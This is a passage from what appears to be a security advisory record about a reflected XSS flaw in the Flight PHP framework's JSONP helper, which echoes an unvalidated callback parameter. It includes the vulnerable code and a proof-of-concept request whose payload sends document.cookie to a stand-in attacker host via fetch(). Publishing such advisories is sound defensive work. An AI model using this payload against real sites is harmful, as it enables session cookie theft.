{"id":"GHSA-fcx8-ph5r-mxr4","aliases":["CVE-2026-42548"],"title":"Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ","description":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n ->status($code)\n ->header('Content-Type', 'application/javascript; charset=' . $charset)\n ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `